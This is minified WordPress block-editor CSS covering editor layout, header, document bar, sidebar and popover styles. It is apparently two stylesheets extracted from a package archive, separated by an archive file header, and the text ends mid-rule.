.editor-post-visibility__radio[type=radio]:checked{background:var(--wp-admin-theme-color);border:none}.editor-post-visibility__fieldset .editor-post-visibility__info{color:#757575;margin-right:36px;margin-top:.5em}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__info{margin-right:28px}}.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{margin-bottom:0}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-right:32px;padding:6px 8px;width:calc(100% - 32px)}@media not (prefers-reduced-motion){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{transition:box-shadow .1s linear}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{color:#1e1e1e9e}.editor-posts-per-page-dropdown__content .components-popover__content{min-width:320px;padding:16px}.editor-post-trash.components-button{flex-grow:1;justify-content:center}.editor-preview-dropdown .editor-preview-dropdown__toggle.has-icon.has-text{padding-left:4px;padding-right:6px}.editor-preview-dropdown__button-external{display:flex;justify-content:space-between;width:100%}.editor-resizable-editor.is-resizable{margin:0 auto;overflow:visible}.editor-resizable-editor__resize-handle{appearance:none;background:none;border:0;border-radius:9999px;bottom:0;cursor:ew-resize;height:100px;margin:auto 0;outline:none;padding:0;position:absolute;top:0;width:12px}.editor-resizable-editor__resize-handle:after{background-color:#75757566;border-radius:9999px;bottom:16px;content:"";left:0;position:absolute;right:4px;top:16px;width:4px}.editor-resizable-editor__resize-handle.is-left{right:-18px}.editor-resizable-editor__resize-handle.is-right{left:-18px}.editor-resizable-editor__resize-handle:active,.editor-resizable-editor__resize-handle:focus,.editor-resizable-editor__resize-handle:hover{opacity:1}.editor-resizable-editor__resize-handle:active:after,.editor-resizable-editor__resize-handle:focus:after,.editor-resizable-editor__resize-handle:hover:after{background-color:var(--wp-admin-theme-color)}.editor-layout__toggle-entities-saved-states-panel,.editor-layout__toggle-publish-panel,.editor-layout__toggle-sidebar-panel{background-color:#fff;border:1px dotted #ddd;bottom:auto;box-sizing:border-box;display:flex;height:auto!important;justify-content:center;left:0;padding:24px;position:fixed!important;right:auto;top:-9999em;width:280px;z-index:100000}.interface-interface-skeleton__actions:focus .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .editor-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-publish-panel{bottom:0;top:auto}.editor-start-page-options__modal .editor-start-page-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.editor-start-page-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.editor-start-page-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.editor-start-page-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-start-page-options__modal-content .block-editor-block-patterns-list{column-count:4}}.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column;margin-bottom:24px}.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{min-height:100px}.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{width:100%}.editor-start-template-options__modal .editor-start-template-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.editor-start-template-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.editor-start-template-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.editor-start-template-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-start-template-options__modal-content .block-editor-block-patterns-list{column-count:4}}.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{display:none}.components-panel__header.editor-sidebar__panel-tabs{padding-left:8px;padding-right:0}.components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{padding:0}@media (min-width:782px){.components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{display:flex}}.editor-post-summary .components-v-stack:empty{display:none}.editor-site-discussion-dropdown__content .components-popover__content{min-width:320px;padding:16px}.table-of-contents__popover.components-popover .components-popover__content{min-width:380px}.components-popover.table-of-contents__popover{z-index:99998}.table-of-contents__popover .components-popover__content{padding:16px}@media (min-width:600px){.table-of-contents__popover .components-popover__content{max-height:calc(100vh - 120px);overflow-y:auto}}.table-of-contents__popover hr{margin:10px -16px 0}.table-of-contents__wrapper:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.table-of-contents__counts{display:flex;flex-wrap:wrap;margin:-8px 0 0}.table-of-contents__count{color:#1e1e1e;display:flex;flex-basis:33%;flex-direction:column;font-size:13px;margin-bottom:0;margin-top:8px;padding-left:8px}.table-of-contents__count:nth-child(4n){padding-left:0}.table-of-contents__number,.table-of-contents__popover .word-count{color:#1e1e1e;font-size:21px;font-weight:400;line-height:30px}.table-of-contents__title{display:block;font-size:15px;font-weight:600;margin-top:20px}.editor-text-editor{background-color:#fff;flex-grow:1;position:relative;width:100%}.editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){border:1px solid #949494;border-radius:0;font-family:Menlo,Consolas,monaco,monospace;font-size:2.5em;font-weight:400;line-height:1.4;max-width:none;padding:16px}@media (min-width:600px){.editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){padding:24px}}.editor-text-editor .editor-post-title.is-raw-text textarea:focus,.editor-text-editor .editor-post-title:not(.is-raw-text):focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.editor-text-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:0 12px 12px;width:100%}@media (min-width:960px){.editor-text-editor__body{padding:0 24px 24px}}.editor-text-editor__toolbar{background:#fffc;display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.editor-text-editor__toolbar{padding:12px}}@media (min-width:960px){.editor-text-editor__toolbar{padding:12px 24px}}.editor-text-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:40px;margin:0 0 0 auto}.editor-visual-editor{align-items:center;background-color:#ddd;display:flex;position:relative}.editor-visual-editor iframe[name=editor-canvas]{background-color:initial}.editor-visual-editor.is-resizable{max-height:100%}.editor-visual-editor.has-padding{padding:24px 24px 0}.editor-visual-editor.is-iframed{overflow:hidden}.editor-visual-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.editor-visual-editor .components-button.has-icon,.editor-visual-editor .components-button.is-tertiary{padding:6px}.editor-fields-content-preview{border-radius:4px;display:flex;flex-direction:column;height:100%}.dataviews-view-table .editor-fields-content-preview{flex-grow:0;width:96px}.editor-fields-content-preview .block-editor-block-preview__container,.editor-fields-content-preview .editor-fields-content-preview__empty{margin-bottom:auto;margin-top:auto}.editor-fields-content-preview__empty{text-align:center}PK1Xd[��
����dist/editor/style.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.interface-complementary-area-header{background:#fff;gap:4px;padding-right:8px}.interface-complementary-area-header .interface-complementary-area-header__title{margin:0 auto 0 0}.interface-complementary-area{background:#fff;color:#1e1e1e;height:100%;overflow:auto}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{top:0}.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;font-weight:500;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:auto;right:10px;top:auto}.interface-complementary-area__fill{height:100%}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;right:0;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none;position:relative}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;top:0;width:auto;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important}}.interface-interface-skeleton__sidebar{border-top:1px solid #e0e0e0;overflow:hidden}@media (min-width:782px){.interface-interface-skeleton__sidebar{box-shadow:-1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__secondary-sidebar{border-top:1px solid #e0e0e0;right:0}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar{box-shadow:1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__header{box-shadow:0 1px 0 0 rgba(0,0,0,.133);color:#1e1e1e;flex-shrink:0;height:auto;outline:1px solid #0000;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;left:0;position:absolute;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-left:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.editor-autocompleters__user .editor-autocompleters__no-avatar:before{content:"\f110";font:normal 20px/1 dashicons;margin-right:5px;vertical-align:middle}.editor-autocompleters__user .editor-autocompleters__user-avatar{flex-grow:0;flex-shrink:0;height:24px;margin-right:8px;max-width:none;width:24px}.editor-autocompleters__user .editor-autocompleters__user-name{flex-grow:1;flex-shrink:0;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user .editor-autocompleters__user-slug{color:#757575;flex-grow:0;flex-shrink:0;margin-left:8px;max-width:100px;overflow:none;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user:hover .editor-autocompleters__user-slug{color:var(--wp-admin-theme-color)}.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar){box-shadow:none}.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar) .interface-complementary-area-header{display:none}.editor-collab-sidebar{height:100%}.editor-collab-sidebar-panel{height:100%;padding:16px}.editor-collab-sidebar-panel__thread{background-color:#f0f0f0;border:1.5px solid #ddd;border-radius:8px;margin-bottom:16px;padding:16px;position:relative}.editor-collab-sidebar-panel__active-thread{border:1.5px solid #3858e9}.editor-collab-sidebar-panel__focus-thread{background-color:#fff;border:1.5px solid #3858e9;box-shadow:0 5.5px 7.8px -.3px rgba(0,0,0,.102)}.editor-collab-sidebar-panel__comment-field{flex:1}.editor-collab-sidebar-panel__child-thread{margin-top:15px}.editor-collab-sidebar-panel__user-name{text-transform:capitalize}.editor-collab-sidebar-panel__user-name,.editor-collab-sidebar-panel__user-time{color:#757575;font-size:12px;font-weight:400;line-height:16px;text-align:left}.editor-collab-sidebar-panel__user-comment{color:#1e1e1e;font-size:13px;font-weight:400;line-height:20px;text-align:left}.editor-collab-sidebar-panel__user-comment p{margin-bottom:0}.editor-collab-sidebar-panel__user-avatar{border-radius:50%;flex-shrink:0}.editor-collab-sidebar-panel__thread-overlay{background-color:#000000b3;border-radius:8px;color:#fff;height:100%;left:0;padding:15px;position:absolute;text-align:center;top:0;width:100%;z-index:1}.editor-collab-sidebar-panel__thread-overlay p{margin-bottom:15px}.editor-collab-sidebar-panel__thread-overlay button{color:#fff;padding:4px 10px}.editor-collab-sidebar-panel__comment-status{margin-left:auto}.editor-collab-sidebar-panel__comment-status button.has-icon:not(.has-text){flex-shrink:0;height:24px;min-width:24px;padding:0;width:24px}.editor-collab-sidebar-panel__comment-dropdown-menu{flex-shrink:0}.editor-collab-sidebar-panel__comment-dropdown-menu button.has-icon{height:24px;min-width:24px;padding:0;width:24px}.editor-collab-sidebar-panel__show-more-reply{font-style:italic;font-weight:500;padding:0}.editor-collapsible-block-toolbar{align-items:center;display:flex;height:60px;overflow:hidden}.editor-collapsible-block-toolbar .block-editor-block-contextual-toolbar{background:#0000;border-bottom:0;height:100%}.editor-collapsible-block-toolbar .block-editor-block-toolbar{height:100%;padding-top:15px}.editor-collapsible-block-toolbar .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.editor-collapsible-block-toolbar:after{background-color:#ddd;content:"";height:24px;margin-right:7px;width:1px}.editor-collapsible-block-toolbar .components-toolbar,.editor-collapsible-block-toolbar .components-toolbar-group{border-right:none;position:relative}.editor-collapsible-block-toolbar .components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar:after{background-color:#ddd;content:"";height:24px;position:absolute;right:-1px;top:4px;width:1px}.editor-collapsible-block-toolbar .components-toolbar .components-toolbar-group.components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.editor-collapsible-block-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.editor-collapsible-block-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{height:40px;position:relative;top:-5px}}.editor-collapsible-block-toolbar.is-collapsed{display:none}.editor-content-only-settings-menu__description{min-width:235px;padding:8px}.editor-blog-title-dropdown__content .components-popover__content{min-width:320px;padding:16px}.editor-document-bar{align-items:center;background:#f0f0f0;border-radius:4px;display:flex;height:32px;justify-content:space-between;min-width:0;width:min(100%,450px)}.editor-document-bar:hover{background-color:#e0e0e0}.editor-document-bar .components-button{border-radius:4px}@media not (prefers-reduced-motion){.editor-document-bar .components-button{transition:all .1s ease-out}}.editor-document-bar .components-button:hover{background:#e0e0e0}@media screen and (min-width:782px) and (max-width:960px){.editor-document-bar.has-back-button .editor-document-bar__post-type-label{display:none}}.editor-document-bar__command{color:var(--wp-block-synced-color);flex-grow:1;overflow:hidden}.editor-document-bar__title{color:#1e1e1e;margin:0 auto;max-width:70%;overflow:hidden}@media (min-width:782px){.editor-document-bar__title{padding-left:24px}}.editor-document-bar__title h1{align-items:center;display:flex;font-weight:400;justify-content:center;overflow:hidden;white-space:nowrap}.editor-document-bar__post-title{color:currentColor;flex:1;overflow:hidden;text-overflow:ellipsis}.editor-document-bar__post-type-label{color:#2f2f2f;flex:0;padding-left:4px}@media screen and (max-width:600px){.editor-document-bar__post-type-label{display:none}}.editor-document-bar__shortcut{color:#2f2f2f;display:none;min-width:24px}@media (min-width:782px){.editor-document-bar__shortcut{display:initial}}.editor-document-bar__back.components-button.has-icon.has-text{color:#757575;flex-shrink:0;gap:0;min-width:36px;position:absolute;z-index:1}.editor-document-bar__back.components-button.has-icon.has-text:hover{background-color:initial;color:#1e1e1e}.editor-document-bar__icon-layout.editor-document-bar__icon-layout{display:none;margin-left:12px;pointer-events:none;position:absolute}.editor-document-bar__icon-layout.editor-document-bar__icon-layout svg{fill:#949494}@media (min-width:600px){.editor-document-bar__icon-layout.editor-document-bar__icon-layout{display:flex}}.document-outline{margin:20px 0}.document-outline ul{margin:0;padding:0}.document-outline__item{display:flex;margin:4px 0}.document-outline__item a{text-decoration:none}.document-outline__item .document-outline__emdash:before{color:#ddd;margin-right:4px}.document-outline__item.is-h2 .document-outline__emdash:before{content:"—"}.document-outline__item.is-h3 .document-outline__emdash:before{content:"——"}.document-outline__item.is-h4 .document-outline__emdash:before{content:"———"}.document-outline__item.is-h5 .document-outline__emdash:before{content:"————"}.document-outline__item.is-h6 .document-outline__emdash:before{content:"—————"}.document-outline__button{align-items:flex-start;background:none;border:none;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;margin:0 0 0 -1px;padding:2px 5px 2px 1px;text-align:left}.document-outline__button:disabled,.document-outline__button[aria-disabled=true]{color:#757575;cursor:default}.document-outline__button:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.document-outline__level{background:#ddd;border-radius:3px;color:#1e1e1e;font-size:13px;margin-right:4px;padding:1px 6px}.is-invalid .document-outline__level{background:#f0b849}.document-outline__item-content{padding:1px 0}.editor-document-outline.has-no-headings{color:#757575;text-align:center}.editor-document-outline.has-no-headings>svg{margin-top:28px}.editor-document-outline.has-no-headings>p{padding-left:32px;padding-right:32px}.editor-document-tools{align-items:center;display:inline-flex}.editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{display:none}@media (min-width:782px){.editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{display:inline-flex}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{display:inline-flex}@media not (prefers-reduced-motion){.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{transform:rotate(45deg)}.editor-document-tools .block-editor-list-view{display:none}@media (min-width:600px){.editor-document-tools .block-editor-list-view{display:flex}}.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{height:32px;min-width:32px;padding:4px}.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{display:none}.editor-document-tools__left{align-items:center;display:inline-flex;gap:8px}.editor-document-tools__left:not(:last-child){margin-inline-end:8px}.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{padding:0 8px;width:auto}.show-icon-labels .editor-document-tools__left>*+*{margin-left:8px}.editor-editor-interface .entities-saved-states__panel-header{height:61px}.editor-editor-interface .interface-interface-skeleton__content{isolation:isolate}.editor-visual-editor{flex:1 0 auto}.components-editor-notices__dismissible,.components-editor-notices__pinned{color:#1e1e1e;left:0;position:relative;right:0;top:0}.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.entities-saved-states__panel-header{background:#fff;border-bottom:1px solid #ddd;box-sizing:border-box;height:60px;padding-left:16px;padding-right:16px}.entities-saved-states__text-prompt{padding:16px 16px 4px}.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{display:block;margin-bottom:12px}.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt{padding:0}.entities-saved-states__panel.is-inline .entities-saved-states__panel-body{border:0;padding-left:0;padding-right:0}.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2{margin-bottom:0;margin-left:-16px;margin-right:-16px}.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2 button{font-size:11px;text-transform:uppercase}.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--header-wrapper{display:none}.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--changes-count{margin-bottom:8px;margin-top:0}.entities-saved-states__panel.is-inline .entities-saved-states__panel-footer{margin-top:16px}.entities-saved-states__change-control{flex:1}.entities-saved-states__changes{font-size:13px;list-style:disc;margin:4px 16px 0 24px}.entities-saved-states__changes li{margin-bottom:4px}.editor-error-boundary{background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;margin:60px auto auto;max-width:780px;padding:1em}.editor-header{align-items:center;background:#fff;display:grid;grid-auto-flow:row;grid-template:auto/60px minmax(0,max-content) minmax(min-content,1fr) 60px;height:60px;justify-content:space-between;max-width:100vw}.editor-header:has(>.editor-header__center){grid-template:auto/60px min-content 1fr min-content 60px}@media (min-width:782px){.editor-header:has(>.editor-header__center){grid-template:auto/60px minmax(min-content,2fr) 2.5fr minmax(min-content,2fr) 60px}}@media (min-width:480px){.editor-header{gap:16px}}@media (min-width:280px){.editor-header{flex-wrap:nowrap}}.editor-header__toolbar{align-items:center;clip-path:inset(-2px);display:flex;grid-column:1/3;min-width:0}.editor-header__toolbar>:first-child{margin-inline:16px 0}.editor-header__back-button+.editor-header__toolbar{grid-column:2/3}@media (min-width:480px){.editor-header__back-button+.editor-header__toolbar>:first-child{margin-inline:0}.editor-header__toolbar{clip-path:none}}.editor-header__toolbar .table-of-contents{display:none}@media (min-width:600px){.editor-header__toolbar .table-of-contents{display:block}}.editor-header__toolbar .editor-collapsible-block-toolbar,.editor-header__toolbar .editor-collapsible-block-toolbar.is-collapsed~.editor-collapsible-block-toolbar__toggle{margin-inline:8px 0}.editor-header__center{align-items:center;clip-path:inset(-2px);display:flex;grid-column:3/4;justify-content:center;min-width:0}@media (max-width:479px){.editor-header__center>:first-child{margin-inline-start:8px}.editor-header__center>:last-child{margin-inline-end:8px}}.editor-header__settings{align-items:center;display:inline-flex;flex-wrap:nowrap;gap:8px;grid-column:3/-1;justify-self:end;padding-right:4px}.editor-header:has(>.editor-header__center) .editor-header__settings{grid-column:4/-1}@media (min-width:600px){.editor-header__settings{padding-right:8px}}.show-icon-labels .editor-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{width:auto}.show-icon-labels .editor-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{display:none}.show-icon-labels .editor-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{content:attr(aria-label);white-space:nowrap}.show-icon-labels .editor-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{background-color:initial}.show-icon-labels .editor-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{background-color:initial;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.show-icon-labels .editor-header .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg{display:block}.show-icon-labels .editor-header .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after{content:none}.show-icon-labels .editor-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{display:block}.show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:8px;padding-right:8px}@media (min-width:600px){.show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:12px;padding-right:12px}}.show-icon-labels .editor-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .editor-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{content:none}.show-icon-labels .editor-header__toolbar .block-editor-block-mover{border-left:none}.show-icon-labels .editor-header__toolbar .block-editor-block-mover:before{background-color:#ddd;content:"";height:24px;margin-left:8px;margin-top:4px;width:1px}.show-icon-labels .editor-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{background:#ddd;left:calc(50% + 1px);width:calc(100% - 24px)}.show-icon-labels.interface-pinned-items{border-bottom:1px solid #ccc;display:block;margin:0 -12px;padding:6px 12px 12px}.show-icon-labels.interface-pinned-items>.components-button.has-icon{justify-content:flex-start;margin:0;padding:6px 6px 6px 8px;width:14.625rem}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] 